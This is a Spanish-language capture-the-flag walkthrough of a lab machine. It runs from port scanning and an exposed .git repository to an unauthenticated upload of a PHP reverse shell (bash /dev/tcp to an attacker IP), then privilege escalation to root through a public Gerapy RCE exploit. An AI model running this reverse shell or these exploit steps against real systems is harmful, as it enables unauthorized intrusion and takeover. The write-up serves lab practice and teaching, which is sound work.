Comenzamos con un escaneo general y específico de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.28
❯ nmap -sC -sV -p22,80 -oN 02-targeted.txt 192.168.1.28
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 18:47 -03
Nmap scan report for 192.168.1.28
Host is up (0.00035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 8e:ee:da:29:f1:ae:03:a5:c3:7e:45:84:c7:86:67:ce (RSA)
| 256 f8:1c:ef:96:7b:ae:74:21:6c:9f:06:9b:20:0a:d8:56 (ECDSA)
|_ 256 19:fc:94:32:41:9d:43:6f:52:c5:ba:5a:f0:83:b4:5b (ED25519)
80/tcp open http nginx 1.18.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-git:
| 192.168.1.28:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
|_ https://github.com/rskoolrash/Online-Admission-System
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 secondsNmap detecta un repositorio .git expuesto que apunta al proyecto público Online-Admission-System en GitHub. Descargamos el código y lo analizamos. Encontramos que documents.php y fileupload.php no comprueban el inicio de sesión, lo que permite subir archivos sin autenticación. Subimos una reverse shell PHP a través de document.php:
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>La ejecutamos desde uno de los directorios de subida descubiertos en el código:
http://192.168.1.28/studentdoc/reverse_shell_v2.phpYa con acceso como www-data, en /var/www/html encontramos un .sandra_secret con la contraseña del usuario sandra. Cambiamos a ese usuario con su y obtenemos la primera flag. Para la escalada, revisamos sudo -l:
sandra@university:~/gerapy$ sudo -l
sudo -l
Matching Defaults entries for sandra on university:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sandra may run the following commands on university:
(root) NOPASSWD: /usr/local/bin/gerapyGerapy es vulnerable a RCE (CVE-2021-43857), pero primero debemos arrancar el servicio e inicializarlo:
sandra@university:~$ sudo gerapy init
sandra@university:~/gerapy$ sudo gerapy migrate
sandra@university:~/gerapy$ sudo gerapy createsuperuserY lo lanzamos:
sandra@university:~/gerapy$ sudo gerapy runserver 0.0.0.0:8080Desde nuestra máquina, descargamos el exploit:
❯ searchsploit gerapy
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated) | python/remote/50640.py
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m 50640
Exploit: Gerapy 0.9.7 - Remote Code Execution (RCE) (Authenticated)
URL: https://www.exploit-db.com/exploits/50640
Path: /usr/share/exploitdb/exploits/python/remote/50640.py
Codes: CVE-2021-43857
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/wh01s17/Documentos/maquinas/hmv/01-easy/university/50640.pyLo configuramos con las credenciales creadas y lo ejecutamos:
❯ python3 50640.py -t 192.168.28 -p 8080 -L 192.168.1.10 -P 9001Obtenemos un error porque no existen proyectos, así que generamos uno en la víctima:
sandra@university:~/gerapy/projects$ sudo gerapy initAl ejecutar de nuevo el exploit, obtenemos una shell con acceso root y capturamos la flag.
Fin.